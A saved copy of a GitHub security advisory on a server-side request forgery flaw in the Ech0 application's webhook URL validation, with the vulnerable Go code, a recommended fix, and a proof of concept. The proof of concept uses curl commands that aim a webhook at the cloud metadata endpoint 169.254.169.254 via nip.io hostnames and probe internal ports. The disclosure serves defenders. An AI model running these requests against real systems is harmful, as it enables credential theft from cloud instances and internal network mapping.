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Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation

Historical advisory saved 24 Oct 2026 13:19:41 UTC. The publisher may have updated it since then. Latest advisory.

osv · GHSA-r2x7-427f-rq69

Published

## Summary The `validateWebhookURL` function in `webhook_setting_service.go` attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via `net.ParseIP()`. Hostnames that DNS-resolve to private IPs (e.g., `169.254.169.254.nip.io`, `10.0.0.1.nip.io`) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints. ## Details The vulnerability is in `validateWebhookURL` (`internal/service/setting/webhook_setting_service.go:180-199`): ```go func validateWebhookURL(rawURL string) error { parsed, err := url.Parse(rawURL) // ... host := strings.ToLower(parsed.Hostname()) if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") { return errors.New(commonModel.INVALID_WEBHOOK_URL) } if ip := net.ParseIP(host); ip != nil { // <-- returns nil for hostnames if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() || ip.IsLinkLocalUnicast() || ip.IsUnspecified() { return errors.New(commonModel.INVALID_WEBHOOK_URL) } } return nil // hostname passes all checks unchecked } ``` `net.ParseIP("169.254.169.254.nip.io")` returns `nil` because it is not a literal IP address. The entire private IP check block is skipped, and the function returns `nil` (valid). Both HTTP clients that execute webhook requests use standard `http.Client` / `http.Transport` with no custom `DialContext` to verify resolved IPs: - **TestWebhook** (`webhook_setting_service.go:169`): `&http.Client{Timeout: 5 * time.Second}` - **Dispatcher** (`dispatcher.go:51-58`): `&http.Client{...Transport: &http.Transport{...}}` — no custom dialer The `Dispatcher.HandleObservation` (`dispatcher.go:67-81`) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event. **Execution flow:** 1. Admin calls POST `/api/webhook` with URL `http://169.254.169.254.nip.io/latest/meta-data/` 2. `CreateWebhook` → `validateWebhookURL` → `net.ParseIP` returns nil → passes validation 3. Webhook stored in database with `is_active: true` 4. On any echo event → `Dispatcher.HandleObservation` → `Dispatch` → `SendWithRetry` → DNS resolves `169.254.169.254.nip.io` to `169.254.169.254` → POST to cloud metadata endpoint ## PoC ```bash # Step 1: Create a webhook targeting cloud metadata via DNS rebinding curl -X POST http://localhost:8080/api/webhook \ -H 'Authorization: Bearer <admin-jwt>' \ -H 'Content-Type: application/json' \ -d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}' # Step 2: Trigger SSRF via test endpoint curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \ -H 'Authorization: Bearer <admin-jwt>' # The server makes an HTTP POST to 169.254.169.254 (AWS metadata). # net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks. # Delivery status and error messages reveal connectivity information. # For internal network scanning: # http://10.0.0.1.nip.io:8080/ # http://127.0.0.1.nip.io:6379/ # With is_active:true, every application event automatically dispatches # to the SSRF target via Dispatcher.HandleObservation (no re-validation). ``` ## Impact - **Cloud metadata access:** An admin can reach cloud instance metadata endpoints (AWS `169.254.169.254`, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data. - **Internal network probing:** Webhooks can scan internal services by observing delivery status (`success`/`failed`) and error messages, mapping internal network topology. - **Persistent SSRF:** Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction. - **Scope escalation:** Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this. ## Recommended Fix Replace the hostname-only check with a custom `net.Dialer` that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients: ```go import "net" func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) { host, port, err := net.SplitHostPort(addr) if err != nil { return nil, err } ips, err := net.DefaultResolver.LookupIPAddr(ctx, host) if err != nil { return nil, err } for _, ip := range ips { if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() || ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() { return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP) } } dialer := &net.Dialer{Timeout: 5 * time.Second} return dialer.DialContext(ctx, network, addr) } // Use in both TestWebhook and Dispatcher: client := &http.Client{ Timeout: 5 * time.Second, Transport: &http.Transport{ DialContext: safeDialContext, }, } ``` This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.

Source published
10 Apr 2026 19:49:48 UTC
Source modified
27 Aug 2026 03:55:35 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Publisher rating · MODERATE

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